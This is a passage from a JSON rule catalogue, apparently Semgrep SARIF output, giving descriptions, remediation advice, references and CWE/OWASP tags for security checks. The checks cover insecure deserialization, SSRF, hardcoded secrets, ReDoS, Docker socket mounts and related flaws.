[https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n","text":"Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-cPickle","id":"python.lang.security.deserialization.pickle.avoid-cPickle","name":"python.lang.security.deserialization.pickle.avoid-cPickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.pickle.avoid-cPickle"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of xmlrpc. xmlrpc is not inherently safe from vulnerabilities. Use defusedxml.xmlrpc instead."},"help":{"markdown":"Detected use of xmlrpc. xmlrpc is not inherently safe from vulnerabilities. Use defusedxml.xmlrpc instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.use-defused-xmlrpc.use-defused-xmlrpc)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n","text":"Detected use of xmlrpc. xmlrpc is not inherently safe from vulnerabilities. Use defusedxml.xmlrpc instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.use-defused-xmlrpc.use-defused-xmlrpc","id":"python.lang.security.use-defused-xmlrpc.use-defused-xmlrpc","name":"python.lang.security.use-defused-xmlrpc.use-defused-xmlrpc","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.use-defused-xmlrpc.use-defused-xmlrpc"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.tainted-ssrf-spring-format.tainted-ssrf-spring-format)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.spring.security.tainted-ssrf-spring-format.tainted-ssrf-spring-format","id":"java.spring.security.tainted-ssrf-spring-format.tainted-ssrf-spring-format","name":"java.spring.security.tainted-ssrf-spring-format.tainted-ssrf-spring-format","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.tainted-ssrf-spring-format.tainted-ssrf-spring-format"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"help":{"markdown":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.jwt.security.jwt-hardcode.jwt-python-hardcoded-secret)\n - [https://semgrep.dev/blog/2020/hardcoded-secrets-unverified-tokens-and-other-common-jwt-mistakes/](https://semgrep.dev/blog/2020/hardcoded-secrets-unverified-tokens-and-other-common-jwt-mistakes/)\n","text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"helpUri":"https://semgrep.dev/r/python.jwt.security.jwt-hardcode.jwt-python-hardcoded-secret","id":"python.jwt.security.jwt-hardcode.jwt-python-hardcoded-secret","name":"python.jwt.security.jwt-hardcode.jwt-python-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: python.jwt.security.jwt-hardcode.jwt-python-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Do not use `math/rand`. Use `crypto/rand` instead."},"help":{"markdown":"Do not use `math/rand`. Use `crypto/rand` instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.math_random.math-random-used)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#secure-random-number-generation](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#secure-random-number-generation)\n","text":"Do not use `math/rand`. Use `crypto/rand` instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.math_random.math-random-used","id":"go.lang.security.audit.crypto.math_random.math-random-used","name":"go.lang.security.audit.crypto.math_random.math-random-used","properties":{"precision":"very-high","tags":["CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.math_random.math-random-used"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"AWS Secret Access Key detected"},"help":{"markdown":"AWS Secret Access Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-aws-secret-access-key.detected-aws-secret-access-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"AWS Secret Access Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-aws-secret-access-key.detected-aws-secret-access-key","id":"generic.secrets.security.detected-aws-secret-access-key.detected-aws-secret-access-key","name":"generic.secrets.security.detected-aws-secret-access-key.detected-aws-secret-access-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-aws-secret-access-key.detected-aws-secret-access-key"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Use the latest version of HTTP to ensure you are benefiting from security fixes. Add `http2_enabled = true` to your appservice resource block"},"help":{"markdown":"Use the latest version of HTTP to ensure you are benefiting from security fixes. Add `http2_enabled = true` to your appservice resource block\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.appservice.appservice-enable-http2.appservice-enable-http2)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#http2_enabled](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#http2_enabled)\n","text":"Use the latest version of HTTP to ensure you are benefiting from security fixes. Add `http2_enabled = true` to your appservice resource block"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.appservice.appservice-enable-http2.appservice-enable-http2","id":"terraform.azure.security.appservice.appservice-enable-http2.appservice-enable-http2","name":"terraform.azure.security.appservice.appservice-enable-http2.appservice-enable-http2","properties":{"precision":"very-high","tags":["CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.appservice.appservice-enable-http2.appservice-enable-http2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-literal calls to Deno.run(). This could lead to a command injection vulnerability."},"help":{"markdown":"Detected non-literal calls to Deno.run(). This could lead to a command injection vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.deno.security.audit.deno-dangerous-run.deno-dangerous-run)\n - [https://deno.land/manual/examples/subprocess#simple-example](https://deno.land/manual/examples/subprocess#simple-example)\n","text":"Detected non-literal calls to Deno.run(). This could lead to a command injection vulnerability."},"helpUri":"https://semgrep.dev/r/javascript.deno.security.audit.deno-dangerous-run.deno-dangerous-run","id":"javascript.deno.security.audit.deno-dangerous-run.deno-dangerous-run","name":"javascript.deno.security.audit.deno-dangerous-run.deno-dangerous-run","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.deno.security.audit.deno-dangerous-run.deno-dangerous-run"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"help":{"markdown":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.log.tainted-log-injection-stdlib-django.tainted-log-injection-stdlib-django)\n - [https://cwe.mitre.org/data/definitions/117.html](https://cwe.mitre.org/data/definitions/117.html)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures)\n","text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"helpUri":"https://semgrep.dev/r/python.django.log.tainted-log-injection-stdlib-django.tainted-log-injection-stdlib-django","id":"python.django.log.tainted-log-injection-stdlib-django.tainted-log-injection-stdlib-django","name":"python.django.log.tainted-log-injection-stdlib-django.tainted-log-injection-stdlib-django","properties":{"precision":"very-high","tags":["CWE-117: Improper Output Neutralization for Logs","HIGH CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.log.tainted-log-injection-stdlib-django.tainted-log-injection-stdlib-django"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. This approach ensures session cookies are secure by default. It is also possible to use the flask-talisman extension to enforce a secure configuration."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. This approach ensures session cookies are secure by default. It is also possible to use the flask-talisman extension to enforce a secure configuration.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-app-config-httponly-false.flask-cookie-app-config-httponly-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. This approach ensures session cookies are secure by default. It is also possible to use the flask-talisman extension to enforce a secure configuration."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-app-config-httponly-false.flask-cookie-app-config-httponly-false","id":"python.flask.web.flask-cookie-app-config-httponly-false.flask-cookie-app-config-httponly-false","name":"python.flask.web.flask-cookie-app-config-httponly-false.flask-cookie-app-config-httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-app-config-httponly-false.flask-cookie-app-config-httponly-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Directory listing/indexing is enabled, which may lead to disclosure of sensitive directories and files. It is recommended to disable directory listing unless it is a public resource. If you need directory listing, ensure that sensitive files are inaccessible when querying the resource."},"help":{"markdown":"Directory listing/indexing is enabled, which may lead to disclosure of sensitive directories and files. It is recommended to disable directory listing unless it is a public resource. If you need directory listing, ensure that sensitive files are inaccessible when querying the resource.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-check-directory-listing.express-check-directory-listing)\n - [https://www.npmjs.com/package/serve-index](https://www.npmjs.com/package/serve-index)\n - [https://www.acunetix.com/blog/articles/directory-listing-information-disclosure/](https://www.acunetix.com/blog/articles/directory-listing-information-disclosure/)\n","text":"Directory listing/indexing is enabled, which may lead to disclosure of sensitive directories and files. It is recommended to disable directory listing unless it is a public resource. If you need directory listing, ensure that sensitive files are inaccessible when querying the resource."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-check-directory-listing.express-check-directory-listing","id":"javascript.express.security.audit.express-check-directory-listing.express-check-directory-listing","name":"javascript.express.security.audit.express-check-directory-listing.express-check-directory-listing","properties":{"precision":"very-high","tags":["CWE-548: Exposure of Information Through Directory Listing","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-check-directory-listing.express-check-directory-listing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-pandas-pickle-fastapi.tainted-pandas-pickle-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-pandas-pickle-fastapi.tainted-pandas-pickle-fastapi","id":"python.fastapi.deserialization.tainted-pandas-pickle-fastapi.tainted-pandas-pickle-fastapi","name":"python.fastapi.deserialization.tainted-pandas-pickle-fastapi.tainted-pandas-pickle-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-pandas-pickle-fastapi.tainted-pandas-pickle-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"JWT token detected"},"help":{"markdown":"JWT token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-jwt-token.detected-jwt-token)\n - [https://semgrep.dev/blog/2020/hardcoded-secrets-unverified-tokens-and-other-common-jwt-mistakes/](https://semgrep.dev/blog/2020/hardcoded-secrets-unverified-tokens-and-other-common-jwt-mistakes/)\n","text":"JWT token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-jwt-token.detected-jwt-token","id":"generic.secrets.security.detected-jwt-token.detected-jwt-token","name":"generic.secrets.security.detected-jwt-token.detected-jwt-token","properties":{"precision":"very-high","tags":["CWE-321: Use of Hard-coded Cryptographic Key","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-jwt-token.detected-jwt-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The Dockerfile(image) mounts docker.sock to the container which may allow an attacker already inside of the container to escape container and execute arbitrary commands on the host machine."},"help":{"markdown":"The Dockerfile(image) mounts docker.sock to the container which may allow an attacker already inside of the container to escape container and execute arbitrary commands on the host machine.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/dockerfile.security.dockerd-socket-mount.dockerfile-dockerd-socket-mount)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html)\n - [https://redfoxsec.com/blog/insecure-volume-mounts-in-docker/](https://redfoxsec.com/blog/insecure-volume-mounts-in-docker/)\n - [https://blog.quarkslab.com/why-is-exposing-the-docker-socket-a-really-bad-idea.html](https://blog.quarkslab.com/why-is-exposing-the-docker-socket-a-really-bad-idea.html)\n","text":"The Dockerfile(image) mounts docker.sock to the container which may allow an attacker already inside of the container to escape container and execute arbitrary commands on the host machine."},"helpUri":"https://semgrep.dev/r/dockerfile.security.dockerd-socket-mount.dockerfile-dockerd-socket-mount","id":"dockerfile.security.dockerd-socket-mount.dockerfile-dockerd-socket-mount","name":"dockerfile.security.dockerd-socket-mount.dockerfile-dockerd-socket-mount","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","CWE-862: Missing Authorization","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: dockerfile.security.dockerd-socket-mount.dockerfile-dockerd-socket-mount"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.diesel.mysql-connection-url.mysql-connection-url)\n - [https://docs.diesel.rs/master/diesel/index.html](https://docs.diesel.rs/master/diesel/index.html)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.diesel.mysql-connection-url.mysql-connection-url","id":"rust.secrets.diesel.mysql-connection-url.mysql-connection-url","name":"rust.secrets.diesel.mysql-connection-url.mysql-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.diesel.mysql-connection-url.mysql-connection-url"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The libxml2 library is used to parse XML. When auditing such code, make sure that either the document being parsed is trusted or that the parsing options are safe to consume untrusted documents. In such case make sure DTD or XInclude documents cannot be loaded and there is no network access."},"help":{"markdown":"The libxml2 library is used to parse XML. When auditing such code, make sure that either the document being parsed is trusted or that the parsing options are safe to consume untrusted documents. In such case make sure DTD or XInclude documents cannot be loaded and there is no network access.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.libxml2.security.libxml2-audit-parser.libxml2-audit-parser)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The libxml2 library is used to parse XML. When auditing such code, make sure that either the document being parsed is trusted or that the parsing options are safe to consume untrusted documents. In such case make sure DTD or XInclude documents cannot be loaded and there is no network access."},"helpUri":"https://semgrep.dev/r/cpp.libxml2.security.libxml2-audit-parser.libxml2-audit-parser","id":"cpp.libxml2.security.libxml2-audit-parser.libxml2-audit-parser","name":"cpp.libxml2.security.libxml2-audit-parser.libxml2-audit-parser","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.libxml2.security.libxml2-audit-parser.libxml2-audit-parser"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User-controllable string passed to Razor.Parse. This leads directly to code execution in the context of the process."},"help":{"markdown":"User-controllable string passed to Razor.Parse. This leads directly to code execution in the context of the process.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.razor-template-injection.razor-template-injection)\n - [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/)\n","text":"User-controllable string passed to Razor.Parse. This leads directly to code execution in the context of the process."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.razor-template-injection.razor-template-injection","id":"csharp.dotnet.security.razor-template-injection.razor-template-injection","name":"csharp.dotnet.security.razor-template-injection.razor-template-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.razor-template-injection.razor-template-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS."},"help":{"markdown":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.regex.tainted-regex-stdlib-flask.tainted-regex-stdlib-flask)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n - [https://www.regular-expressions.info/catastrophic.html](https://www.regular-expressions.info/catastrophic.html)\n","text":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS."},"helpUri":"https://semgrep.dev/r/python.flask.regex.tainted-regex-stdlib-flask.tainted-regex-stdlib-flask","id":"python.flask.regex.tainted-regex-stdlib-flask.tainted-regex-stdlib-flask","name":"python.flask.regex.tainted-regex-stdlib-flask.tainted-regex-stdlib-flask","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.regex.tainted-regex-stdlib-flask.tainted-regex-stdlib-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected `$REQ` argument enters calls to `RegExp`. This could lead to a Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible avoid calls to `RegExp` with user input, if required ensure user input is escaped or validated. "},"help":{"markdown":"Detected `$REQ` argument enters calls to `RegExp`. This could lead to a Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible avoid calls to `RegExp` with user input, if required ensure user input is escaped or validated. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.regexp-redos.regexp-redos)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n - [https://www.regular-expressions.info/catastrophic.html](https://www.regular-expressions.info/catastrophic.html)\n","text":"Detected `$REQ` argument enters calls to `RegExp`. This could lead to a Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible avoid calls to `RegExp` with user input, if required ensure user input is escaped or validated. "},"helpUri":"https://semgrep.dev/r/javascript.express.regexp-redos.regexp-redos","id":"javascript.express.regexp-redos.regexp-redos","name":"javascript.express.regexp-redos.regexp-redos","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.regexp-redos.regexp-redos"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Older Java application servers are vulnerable to HTTP response splitting, which may occur if an HTTP request can be injected with CRLF characters. This finding is reported for completeness; it is recommended to ensure your environment is not affected by testing this yourself."},"help":{"markdown":"Older Java application servers are vulnerable to HTTP response splitting, which may occur if an HTTP request can be injected with CRLF characters. This finding is reported for completeness; it is recommended to ensure your environment is not affected by testing this yourself.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.http-response-splitting.http-response-splitting)\n - [https://www.owasp.org/index.php/HTTP_Response_Splitting](https://www.owasp.org/index.php/HTTP_Response_Splitting)\n","text":"Older Java application servers are vulnerable to HTTP response splitting, which may occur if an HTTP request can be injected with CRLF characters. This finding is reported for completeness; it is recommended to ensure your environment is not affected by testing this yourself."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.http-response-splitting.http-response-splitting","id":"java.lang.security.audit.http-response-splitting.http-response-splitting","name":"java.lang.security.audit.http-response-splitting.http-response-splitting","properties":{"precision":"very-high","tags":["CWE-113: Improper Neutralization of CRLF Sequences in HTTP 